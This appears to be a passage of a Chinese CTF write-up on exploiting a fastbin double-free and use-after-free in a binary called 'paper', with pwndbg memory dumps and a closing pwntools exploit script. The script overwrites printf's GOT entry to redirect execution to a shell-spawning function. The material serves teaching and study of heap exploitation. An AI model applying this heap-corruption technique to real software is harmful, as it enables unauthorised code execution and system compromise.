1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 pwndbg> x/30gx 0x6020c0 0x6020c0 <link_list>: 0x0000000000000000 0x0000000001bbd020 0x6020d0 <link_list+16>: 0x0000000001bbd060 0x0000000000000000 0x6020e0 <link_list+32>: 0x0000000000000000 0x0000000000000000 0x6020f0 <link_list+48>: 0x0000000000000000 0x0000000000000000 0x602100 <link_list+64>: 0x0000000000000000 0x0000000000000000 0x602110: 0x0000000000000000 0x0000000000000000 0x602120: 0x0000000000000000 0x0000000000000000 0x602130: 0x0000000000000000 0x0000000000000000 0x602140: 0x0000000000000000 0x0000000000000000 0x602150: 0x0000000000000000 0x0000000000000000 0x602160: 0x0000000000000000 0x0000000000000000 0x602170: 0x0000000000000000 0x0000000000000000 0x602180: 0x0000000000000000 0x0000000000000000 0x602190: 0x0000000000000000 0x0000000000000000 0x6021a0: 0x0000000000000000 0x0000000000000000
释放创建的chunk 接下来使用fastbin的特性来利用fastbin_double_free。依此释放chunk1,chunk2,chun1。
释放后,fastbin中链表情况是这样的,因为调试崩了一次(重新调试了),所以地址跟刚才不同。
所以此时的fastbin链表是这样的:
main_arena->chunk1->chunk2->chunk1
回顾之前的结构图:
这样就创建了一个fastbin单向循环链表。
注意,由于UAF漏洞的存在,指向chunk_data的指针仍然存在。
1 2 3 4 5 6 7 8 9 pwndbg> x/16 gx 0x6020c0 0x6020c0 <link_list>: 0 x0000000000000000 0 x0000000002015020 0x6020d0 <link_list+16 >: 0 x0000000002015060 0 x0000000000000000 0x6020e0 <link_list+32 >: 0 x0000000000000000 0 x0000000000000000 0x6020f0 <link_list+48 >: 0 x0000000000000000 0 x0000000000000000 0x602100 <link_list+64 >: 0 x0000000000000000 0 x0000000000000000 0x602110 : 0 x0000000000000000 0 x0000000000000000 0x602120 : 0 x0000000000000000 0 x0000000000000000 0x602130 : 0 x0000000000000000 0 x0000000000000000
再次创建一个chunk 再次创建一个chunk,它的大小与之前相同,为0x30。内容为0x60202a。为什么是0x60202a,稍后会进行解答。
1 add_paper(0x30 ,1 ,p64(0x60202a ))
这行代码执行完之后的内存状况如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 pwndbg > x/30 gx 0 xa870100xa87010 : 0 x0000000000000000 0 x0000000000000041 #chunk1(used)0xa87020 : 0 x000000000060202a 0 x00000000000000000xa87030 : 0 x0000000000000000 0 x00000000000000000xa87040 : 0 x0000000000000000 0 x00000000000000000xa87050 : 0 x0000000000000000 0 x0000000000000041 #chunk2(free)0xa87060 : 0 x0000000000a80031 0 x00000000000000000xa87070 : 0 x0000000000000000 0 x00000000000000000xa87080 : 0 x0000000000000000 0 x00000000000000000xa87090 : 0 x0000000000000000 0 x0000000000020f71 #top_chunk0xa870a0 : 0 x0000000000000000 0 x00000000000000000xa870b0 : 0 x0000000000000000 0 x00000000000000000xa870c0 : 0 x0000000000000000 0 x00000000000000000xa870d0 : 0 x0000000000000000 0 x00000000000000000xa870e0 : 0 x0000000000000000 0 x00000000000000000xa870f0 : 0 x0000000000000000 0 x0000000000000000
从内存区域可以看到chunk1的fd指针已经改为了0x60202a。这个地址是属于程序的_got_plt区域。
总结一下:
在malloc之前:
在malloc之后:
main_arena->chunk2->chunk1->0x60202a
可以看到,再重新申请之后,指向新堆块的指针还是第一次malloc的地址。
再次申请三个堆块 申请两个堆块之后,fastbin应该变成: main_arena->0x60202a,这时再次申请第三个堆块,这时程序就可以控制了0x60202a地址。
修改.got.plt地址 首先看一下修改之前的0x602000内存区域:
payload:
1 payload = "\x40\x00\x00\x00\x00\x00" +p64(elf.sym['gg' ])
执行完payload之后:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 pwndbg> x/30gx 0x602000 0x602000: 0x0000000000601e28 0x00007f68222a8168 0x602010: 0x00007f6822098e40 0x00007f6821d3b540 0x602020 <puts@got.plt>: 0x00007f6821d266a0 0x00007f6821d251b0 0x602030 <__stack_chk_fail@got.plt>: 0x0000000000400746 0x0000000000400756 0x602040 <printf @got.plt>: 0x0000000000400943 0x00007f6821cd7700 0x602050 <__gmon_start__@got.plt>: 0x0000000000400786 0x00007f6821cf23d0 0x602060 <malloc@got.plt>: 0x00007f6821d3b180 0x00007f6821d26e80 0x602070 <__isoc99_scanf@got.plt>: 0x00007f6821d224e0 0x00000000004007d6 0x602080: 0x0000000000000000 0x0000000000000000 0x602090: 0x0000000000000000 0x0000000000000000 0x6020a0 <stdout@@GLIBC_2.2.5>: 0x00007f682207c620 0x00007f682207b8e0 0x6020b0 <completed.6973>: 0x0000000000000000 0x0000000000000000 0x6020c0 <link_list>: 0x0000000000000000 0x0000000001cd1020 0x6020d0 <link_list+16>: 0x0000000001cd1060 0x0000000001cd1020 0x6020e0 <link_list+32>: 0x000000000060203a 0x0000000000000000
在payload中我们采用了0x60202a为fd,由堆的结构我们可以控制0x60203a处。payload中的“\x40\x00\x00x00\x00\x00”是为了防止system地址被破坏,printf@got.plt 被覆盖为gg()地址。
然后在程序中随便输入个字符让程序打印出“”%s input is not start with number!\n””就可以触发printf即可getshell。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from pwn import *context.log_level = 'debug' context.terminal = ['gnome-terminal' ,'-x' ,'bash' ,'-c' ] context(arch='amd64' , os='linux' ) sh = process('./paper' ) elf = ELF('./paper' ) def add_paper (size,index,content ): sh.recv() sh.sendline("1" ) sh.recv() sh.sendline(str (index)) sh.recv() sh.sendline(str (size)) sh.recv() sh.sendline(content) def delete_paper (index ): sh.recv() sh.sendline("2" ) sh.recv() sh.sendline(str (index)) add_paper(0x30 ,1 ,"paper1" ) add_paper(0x30 ,2 ,"paper2" ) delete_paper(1 ) delete_paper(2 ) delete_paper(1 ) add_paper(0x30 ,1 ,p64(0x60202a )) add_paper(0x30 ,2 ,"1" ) add_paper(0x30 ,3 ,"2" ) payload = "\x40\x00\x00\x00\x00\x00" +p64(elf.sym['gg' ]) add_paper(0x30 ,4 ,payload) gdb.attach(sh) sh.recv() sh.sendline("a" ) sh.interactive()
参考资料 1 2 3 4 5 https://www.yuque.com/cyberangel/rg9gdm/tgis8x 附件: 链接:https://pan.baidu.com/s/1MxrBSyWplPmpQpo1_kxVbw 提取码:72mj --来自百度网盘超级会员V3的分享